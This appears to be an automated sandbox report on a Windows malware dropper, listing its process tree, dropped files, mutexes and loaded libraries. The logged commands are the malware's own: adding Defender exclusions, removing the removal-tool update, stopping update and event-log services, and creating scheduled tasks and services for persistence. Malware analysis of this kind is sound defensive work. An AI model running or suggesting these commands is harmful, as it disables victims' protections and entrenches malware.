Code function: 0_2_00007FF7F4D7C220 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00007FF7F4D7C220

Source: C:\PerfDll\hyperProviderSavesinto.exe

File created: C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe

Jump to behavior

Source: C:\PerfDll\hyperProviderSavesinto.exe

File created: C:\Users\user\Desktop\msAjSsFc.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1516:120:WilError_03
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\5ca49a59652f7149b9095204d2006cefde527ed294d5ef6eecd72eab40b4b978
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_7103562

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\PerfDll\vvkzdvmSUM14jiAzc.bat" "

Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Command line argument: sfxname	1_2_00D6DF1E
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Command line argument: sfxstime	1_2_00D6DF1E
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Command line argument: STARTDLG	1_2_00D6DF1E

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\PerfDll\hyperProviderSavesinto.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	ReversingLabs: Detection: 60%
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Virustotal: Detection: 69%

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

File read: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe "C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe"
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Process created: C:\Users\user\AppData\Local\Temp\GargantuaN.exe "C:\Users\user\AppData\Local\Temp\GargantuaN.exe"
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Process created: C:\Users\user\AppData\Local\Temp\GargantuanS.exe "C:\Users\user\AppData\Local\Temp\GargantuanS.exe"
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe"
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\PerfDll\vvkzdvmSUM14jiAzc.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\PerfDll\hyperProviderSavesinto.exe "C:\PerfDll/hyperProviderSavesinto.exe"
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 7 /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 14 /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Recovery\WmiPrvSE.exe'" /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\RuntimeBroker.exe'" /f
Source: unknown	Process created: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe "C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe"
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe "C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe"
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 8 /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /f
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 11 /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\sB1sK52ORC.bat"
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "IFAYFBKT"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "IFAYFBKT" binpath= "C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "IFAYFBKT"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Process created: C:\Users\user\AppData\Local\Temp\GargantuaN.exe "C:\Users\user\AppData\Local\Temp\GargantuaN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Process created: C:\Users\user\AppData\Local\Temp\GargantuanS.exe "C:\Users\user\AppData\Local\Temp\GargantuanS.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "IFAYFBKT"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "IFAYFBKT"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\PerfDll\vvkzdvmSUM14jiAzc.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\PerfDll\hyperProviderSavesinto.exe "C:\PerfDll/hyperProviderSavesinto.exe"	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\sB1sK52ORC.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: propsys.dll	Jump to behavior
